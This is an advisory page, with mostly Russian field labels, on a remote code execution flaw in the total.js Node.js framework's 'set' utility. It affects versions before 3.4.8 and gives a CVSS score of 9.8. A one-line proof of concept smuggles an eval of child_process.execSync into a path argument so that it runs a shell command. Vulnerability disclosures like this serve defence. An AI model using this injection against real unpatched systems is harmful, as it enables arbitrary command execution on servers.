Описание
total.js Remote Code Execution Vulnerability
total.js is a framework for Node.js platfrom written in pure JavaScript similar to PHP's Laravel or Python's Django or ASP.NET MVC. It can be used as web, desktop, service or IoT application.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) via set.
PoC
// To be run in a nodejs console:
require('total.js/utils').set({}, 'a;eval(`require("child_process")\\x2eexecSync("touch pwned")`);//')
Пакеты
Наименование
total.js
npm
Затронутые версииВерсия исправления
< 3.4.7
3.4.8
Связанные уязвимости
CVSS3: 9.8
nvd
почти 5 лет назад
The package total.js before 3.4.8 are vulnerable to Remote Code Execution (RCE) via set.